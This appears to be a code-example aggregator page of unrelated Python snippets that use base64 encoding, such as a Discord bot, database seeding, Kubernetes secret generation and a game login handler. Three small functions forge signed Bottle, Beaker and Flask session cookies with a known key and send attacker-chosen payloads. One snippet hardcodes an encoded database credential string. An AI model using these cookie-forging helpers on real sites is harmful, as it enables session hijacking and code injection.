        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()
#async def wlr(ctx):
#    auth(str(ctx.author.id))
#    user = myDB.get_user(str(ctx.author.id))
#    embedVar = discord.Embed(title="W/L/T",
#                             description="Here's your current stats!",
#                             color=0x00ff00)
#    embedVar.add_field(name="Wins", value=f'{user.wins}', inline=True)
#    embedVar.add_field(name="Losses", value=f'{user.losses}', inline=True)
#    embedVar.add_field(name="Ties", value=f'{user.ties}', inline=True)
#    embedVar.add_field(name="Win %", value=get_ratio(user.stats), inline=False)
#    await ctx.send(embed=embedVar)


@bot.event
async def on_command_error(ctx, error):
    list1 = [
        "Slow it down, bro!", "Take a chill pill!",
        "Im not as fast as I used to be...",
        "What are you doing, speedrunning?", "Creative-Title-Name-Here"
    ]
    randfrolist = random.choice(list1)
    if isinstance(error, commands.CommandOnCooldown):
        em = discord.Embed(
            title=randfrolist,
            description=f"Try again in ``{round(error.retry_after)}``s.",
            color=0xFF0000)
        await ctx.send(embed=em)


bot.run(b64(secret_token).decode())
Exemple #36
0
    def populate(self):
        # Let's create some users
        dbcon = self.connect()
        cur = dbcon.cursor()
        passwd = hashlib.sha256(b'a').hexdigest()
        john_uuid = str(uuid.uuid4())
        donald_uuid = str(uuid.uuid4())
        rich_uuid = str(uuid.uuid4())
        margeret_uuid = str(uuid.uuid4())
        jake_uuid = str(uuid.uuid4())
        cur.execute(
            'INSERT INTO users (UUID,first_name,last_name,dob,city,emirate,po_box,address_1,address_2,phone,email,password,isAdmin,isVerified) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (john_uuid, "John", "Doe", "24/11/1999", "Sharjah", "Sharjah",
             "75362", "Al Mamzar Building 1, Al Taawun", "Besides Burger King",
             "0502345671", "*****@*****.**", passwd, 1, 1))  # admin user
        cur.execute(
            'INSERT INTO users (UUID,first_name,last_name,dob,city,emirate,po_box,address_1,address_2,phone,email,password,isAdmin,isVerified) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (donald_uuid, "Donald", "Duck", "3/1/1947", "Muweileh", "Dubai",
             "66634", "House 374B. Muweileh Street", "Besides McDonalds",
             "0508764563", "*****@*****.**", passwd, 0, 1))
        cur.execute(
            'INSERT INTO users (UUID,first_name,last_name,dob,city,emirate,po_box,address_1,address_2,phone,email,password,isAdmin,isVerified) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (rich_uuid, "Richy", "McRich", "24/11/1999", "Jumeira", "Dubai",
             "133700", "Burj Khalifa, Apartment 9405", "In Burj Khalifa, yo",
             "0501111111", "*****@*****.**", passwd, 0, 1))
        cur.execute(
            'INSERT INTO users (UUID,first_name,last_name,dob,city,emirate,po_box,address_1,address_2,phone,email,password,isAdmin,isVerified) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (margeret_uuid, "Margeret", "Thatcher", "1/1/1200", "Al Ain",
             "Abu Dhabi", "12345", "Some building with some number",
             "Next to a road somewhere", "0506666666", "*****@*****.**",
             passwd, 0, 1))
        cur.execute(
            'INSERT INTO users (UUID,first_name,last_name,dob,city,emirate,po_box,address_1,address_2,phone,email,password,isAdmin,isVerified) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (jake_uuid, "Jake", "Peralta", "20/6/1981", "Al Ain", "Abu Dhabi",
             "33344", "An awesome police station.",
             "A really noice police station.", "0509737542", "*****@*****.**",
             passwd, 0, 1))
        dbcon.commit()

        # Let's create some organizations
        red_cresent_uuid = str(uuid.uuid4())
        dubai_cares_uuid = str(uuid.uuid4())
        uae_aid_uuid = str(uuid.uuid4())
        red_crescent_pic = b64(open('./assets/red.jpeg', 'rb').read())
        dubai_cares_pic = b64(open('./assets/cares.jpg', 'rb').read())
        uae_aid_pic = b64(open('./assets/aid.jpg', 'rb').read())
        cur.execute(
            'INSERT INTO organizations (UUID,name,status,license_no,city,emirate,po_box,address_1,address_2,phone,logo,email,password) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (red_cresent_uuid, 'Red Crescent', 2, '222-333-444', 'Jumeira',
             'Dubai', '112233', 'Somewhere', 'Someplace', '062224444',
             red_crescent_pic, '*****@*****.**', passwd))
        cur.execute(
            'INSERT INTO organizations (UUID,name,status,license_no,city,emirate,po_box,address_1,address_2,phone,logo,email,password) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (dubai_cares_uuid, 'Dubai Cares', 2, '555-777-666', 'Sharjah',
             'Sharjah', '56473', 'Somewhere', 'Someplace', '065559999',
             dubai_cares_pic, '*****@*****.**', passwd))
        cur.execute(
            'INSERT INTO organizations (UUID,name,status,license_no,city,emirate,po_box,address_1,address_2,phone,logo,email,password) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (uae_aid_uuid, 'UAE Aid', 2, '111-999-888', 'Al Ain', 'Abu Dhabi',
             '74573', 'Somewhere', 'Someplace', '063331111', uae_aid_pic,
             '*****@*****.**', passwd))
        cur.execute(
            'INSERT INTO organizations (UUID,name,status,license_no,city,emirate,po_box,address_1,address_2,phone,logo,email,password) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (str(uuid.uuid4()), 'Testing Org 1', 1, '333-333-333', 'Al Ain',
             'Abu Dhabi', '23451', 'Somewhere', 'Someplace', '061231231', b'',
             '*****@*****.**', passwd))
        cur.execute(
            'INSERT INTO organizations (UUID,name,status,license_no,city,emirate,po_box,address_1,address_2,phone,logo,email,password) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)',
            (str(uuid.uuid4()), 'Testing Org 2', 0, '333-333-333', 'Al Ain',
             'Abu Dhabi', '523456', 'Somewhere', 'Someplace', '064564563', b'',
             '*****@*****.**', passwd))
        dbcon.commit()

        # Let's create some items
        shirt_uuid = str(uuid.uuid4())
        books_uuid = str(uuid.uuid4())
        tools_uuid = str(uuid.uuid4())
        lego_set_uuid = str(uuid.uuid4())
        bedsheets_uuid = str(uuid.uuid4())
        children_socks_uuid = str(uuid.uuid4())
        barbie_set_uuid = str(uuid.uuid4())
        software_engineering_textbook_uuid = str(uuid.uuid4())
        die_hard_movie_uuid = str(uuid.uuid4())
        shirt_pic = b64(open('./assets/shirt.jpg', 'rb').read())
        books_pic = b64(open('./assets/book.jpg', 'rb').read())
        tools_pic = b64(open('./assets/tools.jpg', 'rb').read())
        lego_set_pic = b64(open('./assets/lego.jpg', 'rb').read())
        bedsheets_pic = b64(open('./assets/sheets.jpg', 'rb').read())
        children_socks_pic = b64(open('./assets/socks.jpg', 'rb').read())
        barbie_set_pic = b64(open('./assets/barbie.jpg', 'rb').read())
        software_engineering_textbook_pic = b64(
            open('./assets/textbook.jpg', 'rb').read())
        die_hard_pic = b64(open('./assets/diehard.jpg', 'rb').read())
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,0)',
            (shirt_uuid, 'Red Hoodie', 'Clothes',
             'New', 'A red hoodie.', red_cresent_uuid, donald_uuid,
             datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', shirt_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,1)',
            (books_uuid, 'Children\'s Books', 'Books', 'Lightly used',
             'A children\'s book about the tooth fairy.', red_cresent_uuid,
             donald_uuid, datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', books_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,-1)',
            (tools_uuid, 'Construction Tools', 'Toys', 'New',
             'A set of construction tools.', red_cresent_uuid, margeret_uuid,
             datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', tools_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,2)',
            (lego_set_uuid, 'Millennium Falcon Lego Set', 'Toys', 'New',
             'A premium millennium falcon lego set.', red_cresent_uuid,
             donald_uuid, datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', lego_set_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,-1)',
            (bedsheets_uuid, 'Bedsheets', 'Linens', 'Heavily used',
             'Some worn bedsheets.', dubai_cares_uuid, donald_uuid,
             datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', bedsheets_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,0)',
            (children_socks_uuid, 'Children Socks', 'Clothes', 'New',
             'Some colorful children socks.', dubai_cares_uuid, margeret_uuid,
             datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', children_socks_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,0)',
            (barbie_set_uuid, 'Barbie Set', 'Toys', 'Lightly used',
             'Some barbie toys. Mostly without heads.', uae_aid_uuid,
             margeret_uuid, datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', barbie_set_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,3)',
            (software_engineering_textbook_uuid, 'Software Engineering Book',
             'Books', 'Lightly used',
             'A very useful and well needed book in modern society.',
             red_cresent_uuid, donald_uuid,
             datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)',
             software_engineering_textbook_pic))
        cur.execute(
            'INSERT INTO items (UUID,item_name,category,condition,description,org_id,user_id,time_submitted,pickup_time,image,status) VALUES (?,?,?,?,?,?,?,?,?,?,-1)',
            (die_hard_movie_uuid, 'Die Hard Movie', 'Books', 'Lightly used',
             'An awesome christmas movie. The best ever.', red_cresent_uuid,
             jake_uuid, datetime.now().strftime("%d/%m/%Y - %H:%M:%S"),
             'Morning (8:00 AM - 11:00 AM)', die_hard_pic))
        dbcon.commit()
Exemple #37
0
#!/usr/bin/env python3

#
# Translate an env file to k8s secrets
#

import sys
from base64 import b64encode as b64

# Secret definition and metadata
print("apiVersion: v1")
print("kind: Secret")
print("metadata:")
print("    name: qareports-environment")
print("type: Opaque")
print("data:")

for line in sys.stdin:
    line = line.strip()
    if len(line) == 0 or line[0] == '#':
        continue
    name, value = line.split('=', 1)
    value = b64(str.encode(value))
    print("    %s: %s" % (name, value.decode()))
Exemple #38
0
    async def post(self, request, pool):
        # extract form data
        if 'arc_token' not in request.form:
            return json({'error': 'arc_token not found'}, status=401)
        version = int(request.form.get('version', '16897'))
        token = request.form.get('arc_token')

        # fetch the associated user
        async with pool.acquire() as conn:
            user = await conn.fetchrow('SELECT * from users where token=$1',
                                       token)
        if not user:
            return json({'error': 'Invalid arc_token'}, status=400)

        # create the response
        return json({
            'result':
            'ok',
            'auth':
            token,
            'token':
            token,
            'name':
            user['nickname'],
            'username':
            user['email'],
            'buddy_key':
            False,
            'founders_pack':
            True,
            'host':
            getenv('MICE_HOST'),
            'port':
            int(getenv('MICE_PORT')),
            'ck':
            b64(b'\x00\x00' + getenv('SALSA_CK').encode()).decode(),
            'sck':
            b64(b'\x00\x00' + getenv('SALSA_SCK').encode()).decode(),
            'flags':
            '',  # unknown string
            'xbox_preview':
            False,
            'accounts':
            'accmple',  # unknown string
            'mostash_verbosity_level':
            0,
            'min_version':
            version,
            'current_version':
            version,  # game doesnt event check
            'catalog': {
                'cdn_url':
                f"http://{getenv('HTTP_HOST')}:{getenv('HTTP_PORT')}/cdn",
                'sha256_digest':
                '04cd2302958566b0219c78a6066049933f5da07ec23634f986194ba6e7c9094e'
            },
            'announcements': {
                'message': 'serverMessage',
                'status': 'serverStatus'
            },
            'voice_chat': {
                'baseurl': 'http://127.0.01/voice.html',
                'username': '******',
                'token': 'sipToken'
            },
        })
Exemple #39
0
 def pencrypt(self, s):
     i = self.crypt(hexpack(s))
     return b64(hexunpack(i))
 def _savePrint(self, fprint, img):
     """Save serialized print data."""
     ser_fp = b64(fprint.get_data())
     ser_img = b64(self.toPGM(img))
     return self._comarCall("saveFPData", "modifyfingerprintdata", (self.__uid, ser_fp, ser_img))
Exemple #41
0
def send_bottle_cookie(key, add, payload, cookie):
    data = b64(payload)
    mac = b64(hmac(key, data).digest())
    s = '!%(sig)s?%(data)s' % {'sig':mac, 'data':data}
    print requests.get(add, cookies={cookie:s})
Exemple #42
0
 def __init(self, user, password):
     self.auth_data = b64(user + ':' + password).strip()
    color_codes = nbt_search(raw_data, b'colors', 'bytes')
    assert len(color_codes) == 128 * 128

    image_bytes = bytearray(128 * 128 * 4)
    blanks_encountered = 0
    max_blanks = 128 * 128 / 4
    for i in range(0, len(color_codes) * 4, 4):
        image_bytes[i:i + 3] = color_chart[color_codes[int(i // 4)]]
        if color_chart[color_codes[int(i // 4)]] == b"\xff\xff\xff\x00":
            blanks_encountered += 1
        if blanks_encountered > max_blanks:
            break

    if not (blanks_encountered > max_blanks):
        map_hash = b64(blake2b(color_codes,
                               digest_size=12).digest()).decode("utf-8")

        map_image_path = f"../public/maps/level{map_scale}_{relative_x},{relative_y}_{map_id}.{map_hash}.png"

        map_image = Image.frombytes("RGBA", (128, 128), bytes(image_bytes))
        map_image = map_image.resize((MAP_SIZE_PX, MAP_SIZE_PX),
                                     resample=Image.NEAREST)
        map_image.save(map_image_path, optimize=True)

        print("converted " + file.name + progress_string)
        processed_maps[f"level{map_scale}"].append(map_object
                                                   | {"path": map_image_path})

    else:
        print(file.name + " was mostly blank; discarding" + progress_string)
Exemple #44
0
def send_beaker_noncrypt(key, add, payload):
    data = b64(payload)
    mac = hmac(key, data.encode('UTF-8'), hashlib.sha1).hexdigest()
    s = mac + data
    print requests.get(add, cookies={'beaker.session.id':s})
def enc(s):
    return b64(s).replace('=','')
Exemple #46
0
def b64_file(in_path):
  from base64 import b64encode as b64
  return(b64(read_file(in_path).encode('utf-8')))
Exemple #47
0
def connect_ocn_db():
    dbaccess = b64('VU9DTlRXUC9JRjU2OTU1NERGQFBST0Q=').decode('unicode_escape')
    conn = cxOr.connect(dbaccess)
    return conn
Exemple #48
0
def hash(string: str):
    return b64(str(mmh3.hash(string)).encode("utf8")).decode("utf8")
Exemple #49
0
def get_hash(name):
    return b64(sha256((names[i].encode())).digest())  # shorter by len
Exemple #50
0
import os
from base64 import b64decode as b64

HEADER = '-----BEGIN DH PARAMETERS-----\n'
FOOTER = '\n-----END DH PARAMETERS-----'

BITS = 2048
PEM_FILE = "dh.pem"
PRIME_FILE = "safePrime"

os.system("openssl dhparam -out %s -2 %d" % (PEM_FILE, BITS))

s = ""
with open(PEM_FILE, 'r') as f:
    s = f.read()

cert = s[s.find(HEADER) + len(HEADER):s.find(FOOTER)]
prime = b64(cert)[7:-3]

with open(PRIME_FILE, 'w') as f:
    f.write(str(int(prime.encode('hex'), 16)))
Exemple #51
0
def send_flask(key, add, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
    print requests.get(add, cookies={'session':s})